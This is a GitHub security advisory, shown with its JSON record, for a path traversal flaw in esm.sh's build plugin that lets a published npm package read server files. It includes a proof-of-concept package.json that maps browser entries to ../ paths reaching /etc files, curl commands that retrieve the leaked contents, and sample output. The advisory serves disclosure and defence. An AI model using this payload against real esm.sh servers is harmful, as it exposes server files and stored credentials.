GHSA-RG65-45M7-HQ57
Vulnerability from github – Published: 2026-05-12 22:22 – Updated: 2026-06-09 02:00Summary
A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.
Details
The vulnerable code is in the OnResolve callback of the esbuild plugin:
https://github.com/esm-dev/esm.sh/blob/main/server/build.go
The plugin validates that resolved file paths stay within the package working directory. However, after this check, the browser field from package.json remaps the module path to an attacker-controlled value containing ../ sequences. No validation is performed after the remapping.
// Sandbox check passes for the original "./d1.txt" path
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier)
}
// ... later, browser field remaps to attacker-controlled path:
if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() {
if path, ok := pkgJson.Browser[modulePath]; ok {
if path == "" {
return esbuild.OnResolveResult{
Path: args.Path,
Namespace: "browser-exclude",
}, nil
}
if !isRelPathSpecifier(path) {
externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)
if err != nil {
return esbuild.OnResolveResult{}, err
}
return esbuild.OnResolveResult{
Path: externalPath,
SideEffects: sideEffects,
External: true,
}, nil
}
modulePath = path
}
}
// path.Join collapses "../" sequences - escapes the package directory
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
// No second sandbox check
File contents appear in both the bundled JS output and the source map sourcesContent array.
Readable files are constrained by esbuild's loader selection based on file extension: .json files must be valid JSON, .txt/.html/.md are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The config.json of esm.sh is fully readable (valid JSON with .json extension).
Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.
PoC
The test package is published at https://www.npmjs.com/package/chess-sec-utils1
package.json:
{
"name": "chess-sec-utils1",
"version": "1.0.6",
"main": "index.js",
"type": "module",
"browser": {
"./d1.txt": "../../../../../../../../etc/hostname",
"./d2.json": "../../../../../../../../etc/os-release",
"./d3.json": "../../../../../../../../etc/environment"
}
}
index.js:
import d1 from "./d1.txt"
import d2 from "./d2.json"
import d3 from "./d3.json"
export default { d1, d2, d3 }
npm publish
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6"
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6/es2022/chess-sec-utils1.mjs.map"
Server file contents in source map response:
{
"sourcesContent": [
"ideapad\n",
"PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n",
"PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n",
"import d1 from \"./d1.txt\"..."
]
}
Impact
An attacker can read sensitive files from the server, including the esm.sh config.json which may contain npm registry authentication tokens and S3 storage credentials.
Fix
Add a path validation check after the browser field remapping:
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked")
}
Credit
Svyatoslav Berestovsky of Metascan
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/esm-dev/esm.sh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20250616164159-0593516c4cfa"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44594"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-12T22:22:42Z",
"nvd_published_at": "2026-05-28T16:16:24Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA Local File Inclusion (LFI) vulnerability exists in the esbuild plugin\u0027s handling of the `browser` field in `package.json`. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.\n\n### Details\n\nThe vulnerable code is in the `OnResolve` callback of the esbuild plugin:\n\nhttps://github.com/esm-dev/esm.sh/blob/main/server/build.go\n\nThe plugin validates that resolved file paths stay within the package working directory. However, after this check, the `browser` field from `package.json` remaps the module path to an attacker-controlled value containing `../` sequences. No validation is performed after the remapping.\n\n```go\n// Sandbox check passes for the original \"./d1.txt\" path\nif !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {\n return esbuild.OnResolveResult{}, fmt.Errorf(\"could not resolve module %s\", specifier)\n}\n\n// ... later, browser field remaps to attacker-controlled path:\nif len(pkgJson.Browser) \u003e 0 \u0026\u0026 ctx.isBrowserTarget() {\n\tif path, ok := pkgJson.Browser[modulePath]; ok {\n\t\tif path == \"\" {\n\t\t\treturn esbuild.OnResolveResult{\n\t\t\t\tPath: args.Path,\n\t\t\t\tNamespace: \"browser-exclude\",\n\t\t\t}, nil\n\t\t}\n\t\tif !isRelPathSpecifier(path) {\n\t\t\texternalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)\n\t\t\tif err != nil {\n\t\t\t\treturn esbuild.OnResolveResult{}, err\n\t\t\t}\n\t\t\treturn esbuild.OnResolveResult{\n\t\t\t\tPath: externalPath,\n\t\t\t\tSideEffects: sideEffects,\n\t\t\t\tExternal: true,\n\t\t\t}, nil\n\t\t}\n\t\tmodulePath = path\n\t}\n}\n\n\n// path.Join collapses \"../\" sequences - escapes the package directory\nfilename = path.Join(ctx.wd, \"node_modules\", ctx.esmPath.PkgName, modulePath)\n// No second sandbox check\n```\n\nFile contents appear in both the bundled JS output and the source map `sourcesContent` array.\n\nReadable files are constrained by esbuild\u0027s loader selection based on file extension: `.json` files must be valid JSON, `.txt`/`.html`/`.md` are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The `config.json` of esm.sh is fully readable (valid JSON with `.json` extension).\n\nNon-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.\n\n### PoC\n\nThe test package is published at https://www.npmjs.com/package/chess-sec-utils1\n\n**package.json:**\n```json\n{\n \"name\": \"chess-sec-utils1\",\n \"version\": \"1.0.6\",\n \"main\": \"index.js\",\n \"type\": \"module\",\n \"browser\": {\n \"./d1.txt\": \"../../../../../../../../etc/hostname\",\n \"./d2.json\": \"../../../../../../../../etc/os-release\",\n \"./d3.json\": \"../../../../../../../../etc/environment\"\n }\n}\n```\n\n**index.js:**\n```js\nimport d1 from \"./d1.txt\"\nimport d2 from \"./d2.json\"\nimport d3 from \"./d3.json\"\nexport default { d1, d2, d3 }\n```\n\n```bash\nnpm publish\ncurl \"https://\u003cesm.sh-instance\u003e/chess-sec-utils1@1.0.6\"\ncurl \"https://\u003cesm.sh-instance\u003e/chess-sec-utils1@1.0.6/es2022/chess-sec-utils1.mjs.map\"\n```\n\nServer file contents in source map response:\n```json\n{\n \"sourcesContent\": [\n \"ideapad\\n\",\n \"PRETTY_NAME=\\\"Ubuntu 22.04.5 LTS\\\"\\nNAME=\\\"Ubuntu\\\"\\nVERSION_ID=\\\"22.04\\\"\\nVERSION=\\\"22.04.5 LTS (Jammy Jellyfish)\\\"\\nVERSION_CODENAME=jammy\\nID=ubuntu\\nID_LIKE=debian\\nHOME_URL=\\\"https://www.ubuntu.com/\\\"\\nSUPPORT_URL=\\\"https://help.ubuntu.com/\\\"\\nBUG_REPORT_URL=\\\"https://bugs.launchpad.net/ubuntu/\\\"\\nPRIVACY_POLICY_URL=\\\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\\\"\\nUBUNTU_CODENAME=jammy\\n\",\n \"PATH=\\\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\\\"\\n\",\n \"import d1 from \\\"./d1.txt\\\"...\"\n ]\n}\n```\n\n\u003cimg width=\"1720\" height=\"796\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952\" /\u003e\n\n### Impact\n\nAn attacker can read sensitive files from the server, including the esm.sh `config.json` which may contain npm registry authentication tokens and S3 storage credentials.\n\n### Fix\n\nAdd a path validation check after the `browser` field remapping:\n\n```go\nfilename = path.Join(ctx.wd, \"node_modules\", ctx.esmPath.PkgName, modulePath)\nif !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {\n return esbuild.OnResolveResult{}, fmt.Errorf(\"path traversal blocked\")\n}\n```\n\n### Credit\nSvyatoslav Berestovsky of Metascan",
"id": "GHSA-rg65-45m7-hq57",
"modified": "2026-06-09T02:00:04Z",
"published": "2026-05-12T22:22:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-rg65-45m7-hq57"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44594"
},
{
"type": "PACKAGE",
"url": "https://github.com/esm-dev/esm.sh"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/releases/tag/v137"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.